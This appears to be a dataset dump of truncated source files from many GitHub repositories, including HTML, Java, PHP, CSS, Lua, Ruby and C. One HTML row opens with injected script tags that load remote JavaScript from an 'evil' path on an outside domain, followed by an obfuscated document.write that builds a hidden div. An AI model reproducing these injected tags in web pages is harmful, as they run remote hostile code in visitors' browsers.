code stringlengths 3 1.01M | repo_name stringlengths 5 116 | path stringlengths 3 311 | language stringclasses 30
values | license stringclasses 15
values | size int64 3 1.01M |
|---|---|---|---|---|---|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible"content="IE=9; IE=8; IE=7; IE=EDGE">
<meta http-equiv="Content-Type... | ForAEdesWeb/AEW25 | logs/meng/q149395.html | HTML | gpl-2.0 | 17,778 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<title>ToPS: tops::General... | topsframework/topsframework.github.io | doc/html/df/db2/classtops_1_1GeneralizedHiddenMarkovModel.html | HTML | gpl-2.0 | 11,528 |
package org.mo.game.editor.face.apl.logic.form;
import com.lowagie.text.Document;
import com.lowagie.text.DocumentException;
import com.lowagie.text.Element;
import com.lowagie.text.Font;
import com.lowagie.text.HeaderFooter;
import com.lowagie.text.PageSize;
import com.lowagie.text.Paragraph;
import com.lowagie.text.... | favedit/MoPlatform | mo-gm-develop/src/editor-face/org/mo/game/editor/face/apl/logic/form/FWebFormPdfServlet.java | Java | gpl-2.0 | 5,836 |
/*
Syntax error: File to import not found or unreadable: zen.
Load paths:
/Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/frameworks/compass/stylesheets
Compass::SpriteImporter
on line 98... | mooru/kwealth | sites/all/themes/frodo/sass/layouts/responsive-sidebars-rtl.css | CSS | gpl-2.0 | 6,729 |
<?php
# Lifter007: TODO
# Lifter003: TODO
# Lifter010: TODO
/*
* Copyright (C) 2009 - Marcus Lunzenauer <[email protected]>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2... | ipf/studip | app/controllers/authenticated_controller.php | PHP | gpl-2.0 | 2,304 |
/**
*
* Copyright (c) 2009-2016 Freedomotic team http://freedomotic.com
*
* This file is part of Freedomotic
*
* This Program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2, or (at yo... | abollaert/freedomotic | framework/freedomotic-core/src/main/java/com/freedomotic/api/InjectorApi.java | Java | gpl-2.0 | 1,096 |
<?php
/**
* @package Zen Library
* @subpackage Zen Library
* @author Joomla Bamboo - [email protected]
* @copyright Copyright (c) 2013 Joomla Bamboo. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
* @version 1.0.2
*/
/*
* Adapted from Mi... | fenix20113/homework3 | libraries/zen/uri/rewriter.php | PHP | gpl-2.0 | 7,740 |
@media only screen and (max-width: 1000px){
.subtitle{
font-size: 19.2px;
}
}
@media only screen and (min-width: 600px) and (max-width: 768px){
.title h1{
font-size:47.6px;
}
.title h1{
font-size:46.2px;
}
.content h2{
font-size:32.2px;
}
.subtitle{
font-size:... | PelleRylander/Omada | wp-content/themes/bodega/css/style_dynamic_responsive.css | CSS | gpl-2.0 | 837 |
package com.lonebytesoft.thetaleclient.api.model;
import android.os.Parcel;
import android.os.Parcelable;
import com.lonebytesoft.thetaleclient.api.dictionary.CompanionSpecies;
import com.lonebytesoft.thetaleclient.util.ObjectUtils;
import org.json.JSONException;
import org.json.JSONObject;
/**
* @author Hamster
... | hamsterxc/TheTaleClient | app/src/main/java/com/lonebytesoft/thetaleclient/api/model/CompanionInfo.java | Java | gpl-2.0 | 2,364 |
<?php
class TestArcadiaCommon extends PHPUnit_Framework_TestCase {
/**
* @covers ArcadiaCommon::__construct
*/
public function test_common_constructor() {
$component = new ArcadiaCommon();
$this->assertTrue( isset( $component->game_nonce_life ) );
}
/**
* @covers Arcad... | scotchfield/arcadia | test/tests/include/test_common.php | PHP | gpl-2.0 | 10,550 |
Overview
========
This is the test suite, based on the openjdk8u60 test suite, downloaded
from the Mercurial repository at http://hg.openjdk.java.net/jdk8u/jdk8u60
License
-------
The license for the tests is GPL version 2 only. There is no classpath
exception for the tests. For this reason, they are not i... | run2000/compactbeans | test/README.md | Markdown | gpl-2.0 | 362 |
{% extends 'base.html' %}
{% block head %}
<link href="../static/css/sign_up.css" rel="stylesheet" >
{% endblock %}
{% block title %} Sign up! {% endblock %}
{% block content %}
<div class="container">
{% if user_errors %}
<div class="alert alert-danger">
{{ user_errors }}
</div>
{% elif profile_errors %}
<div c... | Cojacfar/Maker | StreamPal/interface/templates/sign_up.html | HTML | gpl-2.0 | 3,443 |
#!/bin/bash
if [ $# -ne 2 ];then
echo "Usage: $0 <src_1> <src_2>"
exit 1
fi
mv $1 tmp
mv $2 $1
mv tmp $2
exit 0
| chapering/DTIStudy | dataproc_scripts/exchange_file.sh | Shell | gpl-2.0 | 117 |
package tasslegro.base;
import java.io.IOException;
import java.net.URI;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.ParseException;
import org.apache.http.annotation.NotThreadSafe;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.... | kaczla/TAS | Client/src/main/java/tasslegro/base/Http_Delete.java | Java | gpl-2.0 | 2,256 |
<div class="header-title">
<?php if(is_home()){ ?>
<?php $blog_text = of_get_option('blog_text'); ?>
<?php if($blog_text){?>
<h1><?php echo of_get_option('blog_text'); ?></h1>
<?php } else { ?>
<h1><?php _e('Blog','theme1599');?></h1>
<?php } ?>
<?php } else { ?>
<?php if (have_posts(... | yosagarrane/testsite | wp-content/themes/65_65fd76e4b7c1e295a14f4b0cdfb23039/title.php | PHP | gpl-2.0 | 822 |
package com.fjaviermo.dropdroid;
import java.io.ByteArrayOutputStream;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Bundle;
import android.support.v4.app.DialogFragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import andr... | fjaviermo/dropdroid | app/src/com/fjaviermo/dropdroid/CoverImageDialogFragment.java | Java | gpl-2.0 | 1,793 |
(function() {
var preview = true;
var themeShortcuts = {
insert: function(where) {
switch(where) {
case 'st_button_more':
var href = jQuery("#btn_more_src").val();
var what = '[st_button_more href="'+href+'"]';
break;
case 'st_button':
var text = jQuery("#text").val()... | vinciteng/bookitforward | wp-content/plugins/SupremeShortcodes/js/editor_plugin.js | JavaScript | gpl-2.0 | 66,280 |
title: 【Ruby】Block/Proc/lambda的区别
date: 2016-03-14 12:38:56
tags: ["Ruby"]
categories: ["程序开发"]
---
在Ruby语言中,Block 与 Proc 是不同的概念。而 Proc 和 lambda 虽然都是 Proc 对象,在进行处理时会有若干差别。
### Block 和 Proc.new
Block 是代码块,而 Proc 是对象。参数列别中最多只能有一个 Block ,但是可以有多个 Proc 或 Lambda。
Block 是指通过 do~end 或 {} 来进行传递的参数,通常与 yield 来搭配进行使用。
例如:
```
d... | AchillesSatan/MyBlog | source/_posts/2016031401.md | Markdown | gpl-2.0 | 2,122 |
do
-- Check Member
local function check_member_autorealm(cb_extra, success, result)
local receiver = cb_extra.receiver
local data = cb_extra.data
local msg = cb_extra.msg
for k,v in pairs(result.members) do
local member_id = v.id
if member_id ~= our_id then
-- Group configuration
data[tostr... | iranianboy/iran-bot | plugins/ingroup.lua | Lua | gpl-2.0 | 44,210 |
require 'rails_helper'
BitcoinConf = Rails.configuration.payment
def give_bitcoins(amount, address, confirm=false)
http = Net::HTTP.start(BitcoinConf['host'], BitcoinConf['port'])
req = Net::HTTP::Post.new("/debug/give/#{amount}/#{address}")
req.basic_auth BitcoinConf['user'], BitcoinConf['password']
http.reque... | turbio/skeem.club | spec/helpers/bitcoin_helper_spec.rb | Ruby | gpl-2.0 | 4,191 |
\begin{slide}
\large{Go\'{e}LUG} \hfill \small{Linux User Group - Le Havre} \\
\hfill \texttt{http://www.goelug.org} %
%
%
\begin{tikzpicture}[remember picture, overlay]
\node at (current page.north west){%
\begin{tikzpicture}[overlay]
\node[opacity=0.2, anchor=west] at (50mm,-50mm) {\includegraphics[scale=0.35]{../go... | goelug/graphisme | documents/jesuisunvieuxordi/content.tex | TeX | gpl-2.0 | 1,171 |
<?php
/**
* WordPress基础配置文件。
*
* 本文件包含以下配置选项:MySQL设置、数据库表名前缀、密钥、
* WordPress语言设定以及ABSPATH。如需更多信息,请访问
* {@link http://codex.wordpress.org/zh-cn:%E7%BC%96%E8%BE%91_wp-config.php
* 编辑wp-config.php}Codex页面。MySQL设置具体信息请咨询您的空间提供商。
*
* 这个文件被安装程序用于自动生成wp-config.php配置文件,
* 您可以手动复制这个文件,并重命名为“wp-config.php”,然后填入相关信息。
*
... | jianganglu/wordpress-example | wp-config.php | PHP | gpl-2.0 | 3,091 |
<?php
namespace MediaWiki\Extension\AbuseFilter\Variables;
use ContentHandler;
use Diff;
use Language;
use MediaWiki\Extension\AbuseFilter\Hooks\AbuseFilterHookRunner;
use MediaWiki\Extension\AbuseFilter\Parser\AFPData;
use MediaWiki\Extension\AbuseFilter\TextExtractor;
use MediaWiki\Permissions\PermissionManager;
us... | wikimedia/mediawiki-extensions-AbuseFilter | includes/Variables/LazyVariableComputer.php | PHP | gpl-2.0 | 15,514 |
// Copyright (c) 2016 CNRS and LIRIS' Establishments (France).
// All rights reserved.
//
// This file is part of CGAL (www.cgal.org); you can redistribute it and/or
// modify it under the terms of the GNU Lesser General Public License as
// published by the Free Software Foundation; either version 3 of the License,
//... | wschreyer/PENTrack | cgal/include/CGAL/Generalized_map.h | C | gpl-2.0 | 163,266 |
/* Yet Another Forum.NET
* Copyright (C) 2006-2013 Jaben Cargman
* http://www.yetanotherforum.net/
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or... | chiadem/YET | YetAnotherForum.NET/controls/smileys.ascx.cs | C# | gpl-2.0 | 5,905 |
/*
* Copyright (C) 2002-2015 The DOSBox Team
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This p... | petmac/DOSBox | src/dos/drives.cpp | C++ | gpl-2.0 | 8,709 |
// Copyright (C) 2003--2005 Carnegie Mellon University
// Copyright (C) 2011--2014 Google Inc
//
// This file is part of Ymer.
//
// Ymer is free software; you can redistribute it and/or modify it
// under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of t... | hlsyounes/ymer | src/parser-state.h | C | gpl-2.0 | 2,182 |
package com.baidu.disconf.web.service.zookeeper.service;
import java.util.Map;
import com.baidu.disconf.core.common.constants.DisConfigTypeEnum;
import com.baidu.disconf.web.service.zookeeper.dto.ZkDisconfData;
/**
*
*
* @author liaoqiqi
* @version 2014-9-11
*/
public interface ZkDeployMgr {
/**
*
... | autowang/disconf | disconf-web/src/main/java/com/baidu/disconf/web/service/zookeeper/service/ZkDeployMgr.java | Java | gpl-2.0 | 931 |
class UsersController < ApplicationController
before_filter :init
before_action :require_login
def index
@users = User.all.where.not(email: current_user.email).order('created_at DESC')
end
def create
@user = User.new(user_params)
if @user.save
@activity = Activity.new({'user_id' => current... | bl4ckdu5t/vitabiotics | app/controllers/users_controller.rb | Ruby | gpl-2.0 | 1,808 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="ru">
<head>
<title>FormulaEvaluator (POI API Documentation)</title>
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
</head>
<body>
<scrip... | setu9760/Jade_project_repo | lib/docs/apidocs/org/apache/poi/ss/usermodel/FormulaEvaluator.html | HTML | gpl-2.0 | 19,103 |
<?php
/**
* @file
* @brief sigplus Image Gallery Plus metadata extraction
* @author Levente Hunyadi
* @version 1.3.0
* @remarks Copyright (C) 2009-2010 Levente Hunyadi
* @remarks Licensed under GNU/GPLv3, see http://www.gnu.org/licenses/gpl-3.0.html
* @see http://hunyadi.info.hu/projects/sigplus
*/
/*
* s... | lucashappy/ibmodels | plugins/content/sigplus/metadata.php | PHP | gpl-2.0 | 8,735 |
include(FindPkgConfig)
pkg_check_modules(LibAvCodec REQUIRED libavcodec)
| dos1/kamerka | modules/FindLibAvCodec.cmake | CMake | gpl-2.0 | 73 |
package MultiplyStrings;
/**
* Created by gzhou on 6/1/15.
*/
public class Solution {
public static void main(String[] args) {
System.out.println(multiply("123", "20"));
}
public static String multiply(String num1, String num2) {
String n1 = new StringBuilder(num1).reverse().toString();... | hyattgra/leetcode | MultiplyStrings/Solution.java | Java | gpl-2.0 | 1,253 |
<HTML>
<!-- Mirrored from www.w3schools.com/asp/showaspcode.asp?source=demo_driveexists by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:11:37 GMT -->
<HEAD></HEAD>
<FONT FACE="Verdana, Arial, Helvetica" SIZE=2>
<!DOCTYPE html><br><html><br><body><br><FONT COLOR=#ff0000><%<br>Set fs=Server... | platinhom/ManualHom | Coding/W3School/W3Schools_Offline_2015/www.w3schools.com/asp/showaspcoded1c8.html | HTML | gpl-2.0 | 1,054 |
/*
LZ4 HC - High Compression Mode of LZ4
Header File
Copyright (C) 2011-2012, Yann Collet.
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following condit... | Frank77GLD/android_kernel_YG_m805_892x | include/linux/lz4hc.h | C | gpl-2.0 | 3,522 |
#
# bootloader_advanced.py: gui advanced bootloader configuration dialog
#
# Jeremy Katz <[email protected]>
#
# Copyright 2001-2002 Red Hat, Inc.
#
# This software may be freely redistributed under the terms of the GNU
# library public license.
#
# You should have received a copy of the GNU Library Public License
# alo... | sergey-senozhatsky/anaconda-11-vlan-support | iw/bootloader_advanced_gui.py | Python | gpl-2.0 | 3,639 |
import Backbone from 'backbone';
export default class Router extends Backbone.Router {
get routes() {
return {
'(/)': 'home',
'login': 'login',
'access_token=*token': 'token',
'activity': 'activity',
'swim': 'swim',
's... | clementprdhomme/misfit-dashboard | src/js/router.js | JavaScript | gpl-2.0 | 443 |
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Threading.Tasks;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Moq;
using TournamentMaker.BO;
using TournamentMaker.DAL.Interfaces;
namespace TournamentMaker.BP.Tests
{
[TestClass]
public class MatchBPTests
{
... | ideesdumidi/TournamentMaker | TournamentMaker.BP.Tests/MatchBPTests.cs | C# | gpl-2.0 | 5,067 |
// Copyright (C) 1999,2000 Bruce Guenter <[email protected]>
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// Thi... | hetznerZApackages/vmailmgr | lib/misc/response_message.cc | C++ | gpl-2.0 | 1,297 |
<?php
/**
* Created by PhpStorm.
* User: Tu TV
* Date: 14/10/2015
* Time: 1:12 AM
*/
require_once 'unirest/Unirest.php';
/**
* Get content from url via unirest.io
*
* @param $url
*
* @return mixed
*/
function fries_file_get_contents( $url ) {
$obj_unirest = Unirest\Request::get( $url, null, null );
$cont... | fries-uet/maps-service | laravel/app/Library/Maps/helpers/file-get-contents/file-get-contents.php | PHP | gpl-2.0 | 374 |
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script>
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '0... | ForAEdesWeb/AEW2 | images/Chershire/02021741656ym.html | HTML | gpl-2.0 | 60,548 |
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php wp_title('', true, 'right'); ?> <?php bloginfo('name'); ?></... | natemcguire/wtf | wp-content/themes/wtf/header-inner.php | PHP | gpl-2.0 | 1,904 |
@import url(http://fonts.googleapis.com/css?family=Lato:100,300,400,700,300italic,400italic,700italic|Merriweather:400,300,300italic,400italic,700,700italic);
/*
Theme Name: Margo Conner's Portfolio
Description: My portfolio!
Author: Margo Conner
Author URI: http://www.margoconner.com
Template: boot... | margo-c/portfolio-dev | wp-content/themes/bootstrap-wp-child/style.css | CSS | gpl-2.0 | 12,213 |
\section{Problem (6)}
In the \cref{fig:hw9_problem6}, block $A$ (mass $1.5 \ sl$) slides into block $B$ (mass $2.5 \ sl$), along a frictionless surface. The directions of velocities before and after the collision are indicated; the corresponding speeds are $v_{Ai} = \ 4.0 \ ft/s$, $v_{Bi} = \ 2.4 \ ft/s$, and $v_{Bf} ... | arkye-8th-semester-indiana-tech/physics | homeworks/LaTeX/HW9/sources/hw9/problem6.tex | TeX | gpl-2.0 | 1,209 |
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
#include "tomcrypt_private.h"
/**
@file rsa... | mangosthree/server | dep/tomlib/Crypt/src/pk/rsa/rsa_import.c | C | gpl-2.0 | 4,169 |
/*
* Copyright (c) 2013, 2015, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free ... | BunnyWei/truffle-llvmir | graal/com.oracle.graal.nodes/src/com/oracle/graal/nodes/calc/ReinterpretNode.java | Java | gpl-2.0 | 4,000 |
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\ProductVideo\Test\Constraint;
use Magento\Cms\Test\Page\CmsIndex;
use Magento\Mtf\Fixture\InjectableFixture;
use Magento\Mtf\Constraint\AbstractConstraint;
use Magento\Catalog\Test\Page\Category\C... | kunj1988/Magento2 | dev/tests/functional/tests/app/Magento/ProductVideo/Test/Constraint/AssertVideoCategoryView.php | PHP | gpl-2.0 | 1,498 |
#!/usr/bin/env python
# **********************************************************************
#
# Copyright (c) 2003-2011 ZeroC, Inc. All rights reserved.
#
# This copy of Ice is licensed to you under the terms described in the
# ICE_LICENSE file included in this distribution.
#
# *************************************... | joshmoore/zeroc-ice | cpp/test/Freeze/dbmap/run.py | Python | gpl-2.0 | 1,137 |
<?php
/**
* HTML helper class
*
* This class was developed to provide some standard HTML functions.
*
* @package VirtueMart
* @subpackage Helpers
* @author RickG
* @copyright Copyright (c) 2004-2008 Soeren Eberhardt-Biermann, 2009 VirtueMart Team. All rights reserved.
*/
// Check to ensure this file is includ... | kenbabu/emproj | administrator/components/com_virtuemart/helpers/html.php | PHP | gpl-2.0 | 12,034 |
#!/usr/bin/python
import os
import sys
import re
# file name unified by the following rule:
# 1. always save the osm under ../osmFiles directory
# 2. the result automatically generate to ../trajectorySets
# 3.1. change variable "osmName", or
# 3.2. use command argument to specify osm file name
# 4. this script genera... | nesl/mercury | Services/Mapping/fixProgram/script.py | Python | gpl-2.0 | 1,925 |
#google-map
{
height: 300px;
} | gerardchic/economat | web/css/cf0649f_back-office_3.css | CSS | gpl-2.0 | 34 |
package com.cf.tradeprocessor.web.rest.response;
import com.fasterxml.jackson.annotation.JsonInclude;
import com.fasterxml.jackson.annotation.JsonInclude.Include;
public class JsonResponse {
private Boolean success;
@JsonInclude(Include.NON_NULL)
private Object result;
public JsonResponse() {
}
private J... | camposer/cf | trade-processor/src/main/java/com/cf/tradeprocessor/web/rest/response/JsonResponse.java | Java | gpl-2.0 | 855 |
/*jslint browser: true */ /*global jQuery: true */
/**
* jQuery Cookie plugin
*
* Copyright (c) 2010 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
*/
// TODO JsDoc
/**
* Create a cookie... | tungcan1501/hdtv | sites/default/files/js/js_FxzL6y_vG1Dd9B-MsolHGVlVoN_lbUIGopU6FCDDV9U.js | JavaScript | gpl-2.0 | 29,612 |
/**
* MaNGOS is a full featured server for World of Warcraft, supporting
* the following clients: 1.12.x, 2.4.3, 3.3.5a, 4.3.4a and 5.4.8
*
* Copyright (C) 2005-2015 MaNGOS project <http://getmangos.eu>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU Gene... | Chuck5ta/Game-server-emulator | src/framework/Policies/CreationPolicy.h | C | gpl-2.0 | 4,504 |
<?php
/**
* Profiler showing execution trace.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program... | flamusdiu/mediawiki | includes/profiler/ProfilerSimpleTrace.php | PHP | gpl-2.0 | 2,680 |
/* ***** BEGIN LICENSE BLOCK *****
* Source last modified: $Id: hxstat.h,v 1.7 2004/07/09 18:21:50 hubbe Exp $
*
* Portions Copyright (c) 1995-2004 RealNetworks, Inc. All Rights Reserved.
*
* The contents of this file, and the files included with this file,
* are subject to the current version of the RealNetwor... | muromec/qtopia-ezx | src/3rdparty/libraries/helix/src/common/dbgtool/pub/hxstat.h | C | gpl-2.0 | 7,488 |
# OpenSSL is more stable then ssl
# but OpenSSL is different then ssl, so need a wrapper
import sys
import os
import OpenSSL
SSLError = OpenSSL.SSL.WantReadError
import select
import time
import socket
import logging
ssl_version = ''
class SSLConnection(object):
"""OpenSSL Connection Wrapper"""
def __ini... | lichuan261/wuand | XX-Net/goagent/3.1.49/local/openssl_wrap.py | Python | gpl-2.0 | 4,813 |
/*
Lucy the Diamond Girl - Game where player collects diamonds.
Copyright (C) 2005-2015 Joni Yrjänä <[email protected]>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version ... | Peanhua/diamond-girl | src/widget_set_navigation_right.c | C | gpl-2.0 | 1,294 |
/* Eye Of Mate - Main Window
*
* Copyright (C) 2000-2008 The Free Software Foundation
*
* Author: Lucas Rocha <[email protected]>
*
* Based on code by:
* - Federico Mena-Quintero <[email protected]>
* - Jens Finke <[email protected]>
* Based on evince code (shell/ev-window.c) by:
* - Martin Kretzschmar <martink@... | monsta/eom | src/eom-window.c | C | gpl-2.0 | 153,265 |
<html>
<head>
<title>LitKicks: Mexico</title>
<meta http-equiv="Content-Type"
content="text/html; charset=ISO-8859-1">
<meta name="description" content="The beat legacy of Mexico">
<meta name="keywords" content="Mexico,Beat,Kerouac,... | marceliotstein/literarykicks | Places/Mexico.html | HTML | gpl-2.0 | 5,890 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_66) on Tue Dec 08 01:24:03 CST 2015 -->
<title>Uses of Class com.online.lakeshoremarket.representation.order.OrderRequest</title>
<meta name="d... | elliottpost/lakeshoremarket | doc/com/online/lakeshoremarket/representation/order/class-use/OrderRequest.html | HTML | gpl-2.0 | 9,361 |
<?php
namespace Guzzle\Common\Filter;
/**
* Check if the supplied variable is a string
*
* @author Michael Dowling <[email protected]>
*/
class StringFilter extends AbstractFilter
{
/**
* {@inheritdoc}
*/
protected function filterCommand($command)
{
if (!is_string($command)) {
... | wakeless-net/currinda-wordpress-login | vendor/guzzle/guzzle/src/Guzzle/Common/Filter/StringFilter.php | PHP | gpl-2.0 | 467 |
<?php
return array(
'id' => 'jkreativ_page_fssingle_video',
'types' => array('page'),
'title' => 'Jkreativ Fullscreen Single video',
'priority' => 'high',
'template' => array(
array(
'name' => 'video_type',
'type' => 'select',
'label' => 'Video Type',
'defau... | OpenDoorBrewCo/odbc-wp-prod | wp-content/themes/jkreativ-themes/admin/metabox/page/fssinglevideo.php | PHP | gpl-2.0 | 1,351 |
/*
This file is part of Valgrind, a dynamic binary instrumentation
framework.
Copyright (C) 2004-2012 OpenWorks LLP
[email protected]
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License as
published by the Free Software... | qtekfun/htcDesire820Kernel | external/valgrind/main/VEX/priv/host_ppc_isel.c | C | gpl-2.0 | 151,543 |
<?php
chdir('../../');
require_once ('pika-danio.php');
pika_init();
$report_title = 'LSC Interim Case Services';
$report_name = "lsc_interim";
$base_url = pl_settings_get('base_url');
if(!pika_report_authorize($report_name))
{
$main_html = array();
$main_html['base_url'] = $base_url;
$main_html['page_title']... | brianlawlor/ocm | blawlor/reports/lsc_interim/report.php | PHP | gpl-2.0 | 6,045 |
\section{Open Source und Lizenz}\label{open-source-und-lizenz}
\subsection{Open Source}\label{open-source}
Die Ersteller der App arbeiten alle mit Linux und unterstützen dessen
Philosophie der freien Weitergabe von (Quell)offener Software.\\Da der
Quelltext der App teil der Bewertungsgrundlage ist und wir die Plattfo... | NeAn-nodejs-dashboard/doc | md2tex/tex/02_5-license.md.tex | TeX | gpl-2.0 | 1,194 |
<?php
namespace Gh\Gloggiheime\Controller;
use FluidTYPO3\Flux\Controller\AbstractFluxController;
/**
* My custom ContentController to render my package's Content templates.
*
* @package Gloggiheime
* @subpackage Controller
*/
class ContentController extends AbstractFluxController {
/**
* bookingRepository
... | boris85/gloggiheime | Classes/Controller/ContentController.php | PHP | gpl-2.0 | 2,227 |
#!/bin/sh
#
# git-submodule.sh: add, init, update or list git submodules
#
# Copyright (c) 2007 Lars Hjemli
dashless=$(basename "$0" | sed -e 's/-/ /')
USAGE="[--quiet] add [-b <branch>] [-f|--force] [--name <name>] [--reference <repository>] [--] <repository> [<path>]
or: $dashless [--quiet] status [--cached] [--r... | ajshastri/git | git-submodule.sh | Shell | gpl-2.0 | 27,546 |
/*
* Implementation of the security services.
*
* Authors : Stephen Smalley, <[email protected]>
* James Morris <[email protected]>
*
* Updated: Trusted Computer Solutions, Inc. <[email protected]>
*
* Support for enhanced MLS infrastructure.
* Support for context based audit filters.
*
* Updated... | bju2000/android_kernel_samsung_slteskt | security/selinux/ss/services.c | C | gpl-2.0 | 77,340 |
/*
* linux/arch/arm/mm/flush.c
*
* Copyright (C) 1995-2002 Russell King
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/module.h>
#include <lin... | Jackeagle/android_kernel_sony_c2305 | arch/arm/mm/flush.c | C | gpl-2.0 | 9,199 |
// STLport regression testsuite component.
// To compile as a separate example, please #define MAIN.
#include <iterator>
#include <vector>
#include <algorithm>
#include <iostream>
#include <numeric>
#include <iterator>
#ifdef MAIN
#define partsum1_test main
#endif
#if !defined (STLPORT) || defined(__STL_USE_NAMESPA... | atmark-techno/atmark-dist | lib/STLport/test/regression/partsum1.cpp | C++ | gpl-2.0 | 724 |
/*
* Copyright (c) 2011-2012, Code Aurora Forum. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 and
* only version 2 as published by the Free Software Foundation.
*
* This program is distributed in the... | GruesomeWolf/Slippery_Sloth | arch/arm/mach-msm/acpuclock-8064.c | C | gpl-2.0 | 28,898 |
#include <stdio.h>
#include <stdlib.h>
#include <string.h> /* memset */
#include <libwzd-core/wzd_structs.h>
#include <libwzd-core/wzd_crc32.h>
#define C1 0x12345678
#define C2 0x9abcdef0
int main(int argc, char *argv[])
{
unsigned long c1 = C1;
unsigned long crc = 0x0;
char input1[1024];
const char * file1 ... | mathgl67/wzdftpd | tests/test_wzd_crc32.c | C | gpl-2.0 | 1,106 |
import json
import bottle
from pyrouted.util import make_spec
def route(method, path):
def decorator(f):
f.http_route = path
f.http_method = method
return f
return decorator
class APIv1(object):
prefix = '/v1'
def __init__(self, ndb, config):
self.ndb = ndb
... | svinota/pyrouted | pyrouted/api.py | Python | gpl-2.0 | 2,803 |
\documentclass{article}
\usepackage{epsfig}
\usepackage{color}
\usepackage{amsmath}
\usepackage[T1]{fontenc}
\usepackage[latin1]{inputenc}
\usepackage[german]{babel}
\usepackage{helvet}
\selectlanguage{german}
\oddsidemargin15pt
\evensidemargin15pt
\textheight25mm
\textwidth20cm... | Jeija/keplerslaws | kepler/texte/Untertitel1_1_DE.tex | TeX | gpl-2.0 | 613 |
/* Copyright (C) 2022, Specify Collections Consortium
*
* Specify Collections Consortium, Biodiversity Institute, University of Kansas,
* 1345 Jayhawk Boulevard, Lawrence, Kansas, 66045, USA, [email protected]
*
* This program is free software; you can redistribute it and/or
* modify it under the term... | specify/specify6 | src/edu/ku/brc/specify/datamodel/busrules/BaseTreeBusRules.java | Java | gpl-2.0 | 58,365 |
<?php
/**
* @package WordPress Plugin
* @subpackage CMSMasters Content Composer
* @version 1.1.0
*
* Profiles Post Type
* Created by CMSMasters
*
*/
class Cmsms_Profiles {
function Cmsms_Profiles() {
$cmsms_option = cmsms_get_global_options();
$profile_labels = array(
'name' => __('... | d8ta/CMS_Skiclub | wp-content/plugins/cmsms-content-composer/inc/profile/profiles-posttype.php | PHP | gpl-2.0 | 4,628 |
<?php
namespace Goetas\XML\XSDReader\Schema\Element;
interface ElementSingle extends ElementItem
{
/**
* @return \Goetas\XML\XSDReader\Schema\Type\Type
*/
public function getType();
/**
*
* @return int
*/
public function getMin();
